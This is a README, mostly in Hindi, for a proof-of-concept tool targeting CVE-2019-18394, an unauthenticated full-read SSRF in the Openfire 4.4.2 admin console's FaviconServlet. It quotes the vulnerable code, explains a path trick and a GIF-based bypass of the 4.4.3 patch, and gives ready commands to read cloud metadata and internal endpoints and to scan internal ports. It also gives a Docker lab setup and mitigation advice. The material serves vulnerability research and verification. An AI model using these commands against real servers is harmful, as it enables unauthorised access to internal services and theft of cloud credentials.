
CVE-2019-18394 के लिए PoC: Openfire <= 4.4.2 FaviconServlet में अनधिकृत पूर्ण-पठन SSRF
Ignite Realtime Openfire 4.4.2 और उससे पहले के संस्करणों में अनधिकृत सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी (एडमिन कंसोल, डिफ़ॉल्ट TCP 9090/9091)। 4.4.3 में ठीक किया गया (issue OF-1885)।
host पैरामीटर को बिना किसी वैलिडेशन के एक आउटबाउंड URL में जोड़ दिया जाता है,
जिससे सर्वर हमलावर द्वारा चुना गया HTTP GET अनुरोध भेजता है।/getFavicon एडमिन-कंसोल के AuthCheckFilter के पीछे नहीं है और तब भी
रिस्पॉन्ड करता है जब सर्वर अभी भी अपनी अनकॉन्फ़िगर्ड सेटअप स्थिति में हो।केवल अधिकृत परीक्षण। यहाँ सब कुछ उस लोकल लैब को लक्षित करता है जिसे आप स्वयं खड़ा करते हैं।
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
अनधिकृत। xmppserver/src/main/webapp/WEB-INF/web.xml में AuthCheck फ़िल्टर केवल *.jsp,
PluginServlet, और dwr-invoker पर मैप किया गया है। FaviconServlet सादे पाथ /getFavicon पर
मैप है, इसलिए इसके लिए कोई ऑथ फ़िल्टर नहीं चलता।
मनमाना पाथ, केवल मनमाना होस्ट नहीं। कोड /favicon.ico सफ़िक्स को हार्ड-कोड करता है।
host को क्वेरी स्ट्रिंग के साथ समाप्त करने पर वह सफ़िक्स एक पैरामीटर वैल्यू में चला जाता है:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
स्कीम http:// पर फ़िक्स है। https:// लक्ष्य सीधे पहुँच योग्य नहीं हैं, लेकिन सर्वलेट का
क्लाइंट LaxRedirectStrategy का उपयोग करता है, इसलिए एक http एंडपॉइंट जो आगे 302-रीडायरेक्ट
करता है, पहुँच योग्य है।
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() यानी ImageIO.read(bytes) != null, एक कंटेंट चेक है, डेस्टिनेशन चेक नहीं।
पैच के बाद दो चीज़ें बची रहती हैं:
/images/server_16x16.gif को बेसलाइन के रूप में उपयोग नहीं किया जाता:
एक सर्वर जो इसे init पर लोड करने में विफल रहा, वह इसके बजाय एक खाली विफलता बॉडी लौटाता है,
और दोनों को मिसमैच करने से गलत परिणाम मिलते हैं।200 उत्तर देता है जबकि एक अनमैप्ड
सिबलिंग पाथ 404 उत्तर देता है, जो एक वास्तविक FaviconServlet मैपिंग को कैच-ऑल से अलग करता है।FaviconServlet हिट और मिस को रॉ host पर कीड करके कैश करता है और दो मिस के बाद शॉर्ट-सर्किट
करता है। टूल हर प्रोब में एक अद्वितीय cb= कैश-बस्टर जोड़ता है ताकि दोहराए गए रन स्टेल
परिणामों की सेवा न करें।Python 3 स्टैंडर्ड लाइब्रेरी, कोई डिपेंडेंसी नहीं।
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
फ़्लैग: --callback-host (वह पता जिस पर टारगेट कॉलबैक करता है), --listen-bind / --listen-port
(लोकल लिसनर), --marker-format gif (इमेज-पार्स करने योग्य कंटेंट लौटाएँ जो 4.4.3 के isImage()
गेट को पास करता है), --proxy, --json।
एग्ज़िट कोड: 0 ठीक, 1 फ़ाइंडिंग, 2 त्रुटि या कमज़ोर नहीं, 3 अनिर्णायक।
डिफ़रेंशियल Docker सेटअप: कमज़ोर 4.4.2 (कंसोल :9090 पर), पैच्ड 4.4.3 (:9092 पर), और एक
इंटरनल-ओनली सेवा जिस तक होस्ट सीधे नहीं पहुँच सकता।
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
इंटरनल nginx का कोई होस्ट पोर्ट मैपिंग नहीं है, इसलिए होस्ट से सीधा फ़ेच HTTP 000 लौटाता है,
लेकिन Openfire इस तक पहुँच सकता है। इसका SECRET_FLAG पढ़ना साबित करता है कि रिक्वेस्ट ने
ट्रस्ट बाउंड्री को पार किया। Docker Desktop पर टारगेट आपके लिसनर तक host.docker.internal के
माध्यम से पहुँचता है (इसे --callback-host में पास करें)। नेटिव Linux Docker पर, docker0
गेटवे IP का उपयोग करें या ऑटोडिटेक्ट के लिए --callback-host छोड़ दें।
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
प्रत्येक कॉलबैक User-Agent: Apache-HttpClient/... (Java/...) के साथ आया, जो पुष्टि करता है कि
रिक्वेस्ट Openfire के स्वयं के HTTP क्लाइंट से आई, टूल से नहीं।
नोट: gif परिणाम फुल-रीड SSRF की पुष्टि करता है लेकिन 4.4.2 को 4.4.3 से अलग नहीं करता, क्योंकि इमेज-आकार का डिस्क्लोज़र दोनों पर काम करता है। प्री-फ़िक्स और पोस्ट-फ़िक्स में अंतर बताने के लिए डिफ़ॉल्ट टेक्स्ट मार्कर का उपयोग करें।
read: 4.4.2 ने इंटरनल SECRET_FLAG का खुलासा किया; 4.4.3 ने HTML पेज को रोक दिया लेकिन
पाथ ट्रिक के माध्यम से फ़ेच किया गया एक इंटरनल .gif अभी भी लौटाया।
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
Openfire 4.4.3 या बाद के संस्करण में अपग्रेड करें। isImage() फ़िक्स आउटबाउंड रिक्वेस्ट या
इमेज-आकार के डिस्क्लोज़र को नहीं रोकता, इसलिए जहाँ favicon-proxy सुविधा अनावश्यक है, वहाँ
Openfire होस्ट से एग्रेस को भी प्रतिबंधित करें और एडमिन कंसोल (9090/9091) को नेटवर्क नियंत्रणों
के पीछे रखें।
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
check --json <file> दिए जाने पर एक JSON एविडेंस रिकॉर्ड लिखता है।
| Target | Marker | Callback | Body disclosed | Verdict | Exit |
|---|
| 4.4.2 (vuln) | text | yes | yes, verbatim | VULNERABLE (unpatched) | 1 |
| 4.4.3 (patched) | text | yes | no, withheld by isImage() | PARTIALLY_MITIGATED (blind SSRF) | 1 |
| 4.4.3 (patched) | gif | yes | yes, image + trailing text | VULNERABLE full-read (see note) | 1 |
| non-Openfire (nginx) | n/a | n/a | n/a | endpoint absent | 2 |